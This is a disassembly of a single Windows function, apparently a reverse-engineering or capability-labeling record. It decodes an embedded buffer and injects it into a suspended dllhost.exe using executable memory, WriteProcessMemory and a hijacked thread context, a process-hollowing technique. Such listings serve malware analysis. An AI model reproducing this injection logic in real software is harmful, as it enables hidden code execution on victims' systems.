Function at 0x100001780
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x5e0]
mov qword [rbp - 0x590], rbx
mov qword [rbp - 0x568], 0
mov qword [rbp - 0x578], 0
mov qword [rbp - 0x588], 0
nop
mov dword [rbp - 0x570], 0x195ff
call fcn.10000bab0
mov rbx, rax
lea r8, [0x10002f018]
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
mov r8d, dword [rbp - 0x570]
mov rdx, rbx
mov ecx, 0
call fcn.10000c010
call fcn.100007eb0
mov rcx, rbx
call fcn.10000bc30
call fcn.100007eb0
mov eax, dword [rbp - 0x570]
mov qword [rbp - 0x580], rax
lea rdx, [0x10002f148]
lea r9, [rbp - 0x580]
lea rcx, [rbp - 0x578]
mov r8, 1
call main
mov eax, dword [rbp - 0x570]
lea ebx, [eax - 1]
mov dword [rbp - 0x56c], 0xffffffff
mov eax, dword [rbp - 0x56c]
lea eax, [eax + 1]
mov dword [rbp - 0x56c], eax
mov eax, dword [rbp - 0x56c]
lea rdx, [0x100014140]
movzx ecx, byte [rdx + rax]
call fcn.100001720
mov rdx, qword [rbp - 0x578]
mov ecx, dword [rbp - 0x56c]
mov byte [rdx + rcx], al
cmp ebx, dword [rbp - 0x56c]
jbe 0x100001888
jmp 0x100001848
lea rcx, [rbp - 0x568]
lea rdx, str.C:WindowsSystem32dllhost.exe
call fcn.100004920
call fcn.10000bab0
mov rbx, rax
lea r8, str._vLaunching:
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
mov r8, qword [rbp - 0x568]
mov rdx, rbx
mov ecx, 0
call fcn.10000be00
call fcn.100007eb0
mov rcx, rbx
call fcn.10000bc30
call fcn.100007eb0
lea rcx, [rbp - 0x80]
mov r8d, 0
mov rdx, 0x68
call fcn.100002080
mov dword [rbp - 0x80], 0x68
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov rdx, qword [rbp - 0x568]
test rdx, rdx
jne 0x100001946
lea rdx, [0x100039460]
mov r9, 0
mov r8, 0
mov rcx, 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x100001969
jmp 0x100001c3b
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbp - 0x570]
mov rcx, qword [rbp - 0x18]
mov r9d, 0x1000
mov rdx, 0
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp - 0x558], rax
cmp qword [rbp - 0x558], 0
je 0x1000019a1
jmp 0x100001a00
call fcn.10000bab0
mov rbx, rax
lea r8, [0x10002f078]
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012590
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000be00
call fcn.100007eb0
mov rcx, rbx
call fcn.10000bc30
call fcn.100007eb0
jmp 0x100001cc7
lea rax, [rbp - 0x560]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0x570]
mov r8, qword [rbp - 0x578]
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x558]
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x100001a30
jmp 0x100001a90
call fcn.10000bab0
mov rbx, rax
lea r8, str.eWriteProcessMemory_failed:
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012590
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000be00
call fcn.100007eb0
mov rcx, rbx
call fcn.10000bc30
call fcn.100007eb0
jmp 0x100001cc7
mov dword [rbp - 0x520], 0x10000b
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp - 0x550]
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x100001ab0
jmp 0x100001b10
call fcn.10000bab0
mov rbx, rax
lea r8, [0x10002f0b8]
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012590
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000be00
call fcn.100007eb0
mov rcx, rbx
call fcn.10000bc30
call fcn.100007eb0
jmp 0x100001cc7
mov rax, qword [rbp - 0x558]
mov qword [rbp - 0x458], rax
mov rcx, qword [rbp - 0x10]
lea rdx, [rbp - 0x550]
call sub.kernel32.dll_SetThreadContext
test eax, eax
je 0x100001b34
jmp 0x100001b94
call fcn.10000bab0
mov rbx, rax
lea r8, [0x10002f0d8]
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012590
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000be00
call fcn.100007eb0
mov rcx, rbx
call fcn.10000bc30
call fcn.100007eb0
jmp 0x100001cc7
mov rcx, qword [rbp - 0x10]
call sub.kernel32.dll_ResumeThread
cmp eax, 0xffffffff
je 0x100001ba6
jmp 0x100001c08
call fcn.10000bab0
mov rbx, rax
lea r8, [0x10002f0f8]
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012590
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000be00
call fcn.100007eb0
mov rcx, rbx
call fcn.10000bc30
call fcn.100007eb0
jmp 0x100001cc7
call fcn.10000bab0
mov rbx, rax
lea r8, str._vabracadabra
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
mov rcx, rbx
call fcn.10000bc30
call fcn.100007eb0
jmp 0x100001cc7
call fcn.10000bab0
mov rbx, rax
lea r8, [0x10002f120]
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
mov r8, qword [rbp - 0x568]
mov rdx, rbx
mov ecx, 0
call fcn.10000be00
call fcn.100007eb0
lea r8, [0x10002f138]
mov rdx, rbx
mov ecx, 0
call fcn.10000bd00
call fcn.100007eb0
call sub.kernel32.dll_GetLastError
mov edx, eax
lea rcx, [rbp - 0x588]
call fcn.100012590
mov r8, qword [rbp - 0x588]
mov rdx, rbx
mov ecx, 0
call fcn.10000be00
call fcn.100007eb0
mov rcx, rbx
call fcn.10000bc30
call fcn.100007eb0
nop
mov rcx, rbp
call fcn.100001740
mov rbx, qword [rbp - 0x590]
lea rsp, [rbp]
pop rbp
ret